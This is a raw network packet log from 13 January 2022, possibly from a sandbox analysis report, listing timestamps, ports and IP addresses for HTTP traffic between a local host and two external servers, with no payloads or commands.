Jan 13, 2022 20:51:33.958802938 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958817005 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958830118 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958842039 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958858013 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958873987 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958878040 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958889961 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958905935 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958913088 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958923101 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958928108 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958940029 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958959103 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958975077 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958982944 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958992004 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.959008932 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.959017992 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.959023952 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.959041119 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.959043980 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.959090948 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.959441900 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.959487915 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.966048956 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.966074944 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.966089010 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.966103077 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.966181993 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.966233015 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.966279984 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.966311932 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.966355085 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.966372967 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.966381073 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.966418028 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.966574907 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.966593981 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.966609955 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.966646910 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.966665030 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.966717958 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.966734886 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.966768026 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.966815948 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.966816902 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.966871023 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.966918945 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.967365026 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.967381954 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.967398882 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.967417002 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.967454910 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.967493057 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.968008041 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.968025923 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.968041897 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.968058109 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.968100071 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.968148947 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.969199896 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.969218969 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.969234943 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.969249964 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.969283104 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.969305992 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.969470024 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.969486952 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.969504118 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.969520092 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.969558954 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.969598055 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.971034050 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.993477106 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.993530989 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.993567944 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.993604898 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.993623018 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.993640900 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.993650913 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.993680954 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.993690968 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.993719101 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.993755102 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.993772984 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.993794918 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.993833065 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.993861914 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.993895054 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.993933916 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.993947029 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.993971109 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994007111 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994018078 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.994044065 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994081974 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994092941 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.994121075 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994163990 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994178057 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.994200945 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994240046 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994244099 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.994277954 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994313002 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994328022 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.994349957 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994386911 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994393110 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.994424105 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994465113 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994465113 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.994508028 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994545937 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994556904 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.994582891 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994617939 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994626045 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.994657040 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994693041 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994698048 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.994729042 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994765997 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994770050 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.994801998 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994838953 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994853973 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.994878054 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994914055 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994927883 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.994951010 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994986057 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.994997025 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.995022058 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995059013 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995066881 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.995098114 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995135069 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995140076 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.995172977 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995208025 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995214939 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.995245934 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995282888 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995287895 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.995320082 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995356083 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995363951 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.995394945 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995435953 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.995440006 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995481968 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995517015 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995528936 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.995553017 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995588064 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995594025 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.995621920 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995657921 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995661974 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.995692015 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995728016 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995738983 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.995764971 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995800018 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995835066 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995871067 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995874882 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.995904922 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995922089 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.995942116 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.995944977 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.995979071 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996014118 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996018887 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.996051073 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996087074 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996097088 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.996125937 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996161938 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996172905 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.996201992 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996242046 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996279955 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.996280909 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996319056 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996325016 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.996361017 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996397018 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996408939 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.996434927 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996475935 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996486902 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.996511936 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996547937 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996553898 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.996583939 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996620893 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996625900 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.996659040 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996695042 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996701956 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.996732950 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996771097 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996773958 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.996804953 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996840954 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996853113 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.996877909 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996915102 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996918917 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.996952057 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996987104 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.996994972 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.997025967 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997072935 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997102976 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.997109890 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997148037 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997148991 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.997184992 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997220993 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997225046 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.997257948 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997294903 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997302055 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.997333050 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997370005 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997373104 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.997405052 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997442961 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997446060 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.997481108 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997514963 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997534037 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.997551918 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997589111 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997594118 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.997627020 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997663021 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997668028 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.997698069 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997735023 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997740030 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.997771978 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997807026 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997812986 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.997843981 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997901917 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.997904062 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997941971 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997967958 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.997980118 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.997992039 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998017073 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998023033 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998054028 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998066902 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998090029 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998096943 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998127937 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998131990 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998166084 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998177052 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998204947 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998208046 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998226881 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998241901 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998248100 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998279095 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998286009 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998317003 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998321056 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998352051 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998358965 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998390913 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998398066 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998431921 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998433113 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998476028 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998476982 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998517036 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998522043 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998552084 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998563051 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998588085 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998594046 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998625040 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998636007 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998661041 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998667002 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998697996 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998701096 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998732090 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998742104 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998768091 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998775005 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998806000 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998810053 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998842955 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998857021 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998882055 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998884916 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998919964 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998927116 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998955965 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998969078 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.998991966 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.998997927 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999028921 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999036074 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999067068 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999078035 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999104023 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999110937 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999140024 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999149084 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999177933 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999188900 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999214888 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999222040 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999249935 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999257088 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999288082 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999299049 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999324083 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999330997 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999361992 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999366045 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999398947 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999404907 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999434948 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999440908 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999473095 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999476910 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999509096 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999516010 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999543905 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999550104 CET	49847	80	192.168.2.5	141.8.194.74
